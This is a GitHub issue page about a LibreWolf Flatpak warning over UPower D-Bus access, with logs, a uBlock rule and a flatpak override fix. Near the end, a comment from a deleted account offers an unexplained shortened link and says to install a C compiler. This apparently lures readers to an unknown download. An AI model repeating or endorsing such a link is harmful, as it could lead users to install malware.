Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WARNING: Failed to enumerate devices of org.freedesktop.UPower #126

Open
guihkx opened this issue Sep 19, 2024 · 1 comment · May be fixed by #127
Open

WARNING: Failed to enumerate devices of org.freedesktop.UPower #126

guihkx opened this issue Sep 19, 2024 · 1 comment · May be fixed by #127

Comments

@guihkx
Copy link
Contributor

guihkx commented Sep 19, 2024

LibreWolf shows this warning message on the terminal when you open some websites:

$ flatpak run io.gitlab.librewolf-community
[Parent 2, Main Thread] WARNING: Failed to enumerate devices of org.freedesktop.UPower: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: org.freedesktop.DBus.Error.ServiceUnknown
: 'glib warning', file /root/.local/share/bsys6/work/librewolf-130.0-3/toolkit/xre/nsSigHandlers.cpp:187

** (LibreWolf:2): WARNING **: 08:15:19.825: Failed to enumerate devices of org.freedesktop.UPower: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: org.freedesktop.DBus.Error.ServiceUnknown

In some cases, it is triggered after some obfuscated Cloudflare script is loaded.

AskUbuntu's contact page is an example: After this script loads, the warning shows up in the terminal.

The following uBlock Origin rule silences the warning (at least on AskUbuntu):

||askubuntu.com/cdn-cgi/challenge-platform/scripts/jsd/main.js$script,1p,important

A more permanent solution, however, would be allowing LibreWolf access to UPower's DBus interface:

Description

The UPower service is available via the system message bus. To access the service, use the org.freedesktop.UPower interface on the /org/freedesktop/UPower object on the D-Bus system bus service with the well-known name org.freedesktop.UPower.

Which can be accomplished with the following command:

flatpak --user override --system-talk-name=org.freedesktop.UPower io.gitlab.librewolf-community
guihkx added a commit to guihkx/io.gitlab.librewolf-community that referenced this issue Sep 19, 2024
This silences a LibreWolf warning triggered by loading some websites:

$ flatpak run io.gitlab.librewolf-community
[Parent 2, Main Thread] WARNING: Failed to enumerate devices of org.freedesktop.UPower: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: org.freedesktop.DBus.Error.ServiceUnknown
: 'glib warning', file /root/.local/share/bsys6/work/librewolf-130.0-3/toolkit/xre/nsSigHandlers.cpp:187

** (LibreWolf:2): WARNING **: 08:15:19.825: Failed to enumerate devices of org.freedesktop.UPower: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: org.freedesktop.DBus.Error.ServiceUnknown

Fixes flathub#126
@ghost
Copy link

ghost commented Sep 19, 2024

try this

https://bit.ly/4eugCty
If you don't have the c compliator, install it.(gcc or clang)

@guihkx guihkx linked a pull request Sep 19, 2024 that will close this issue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant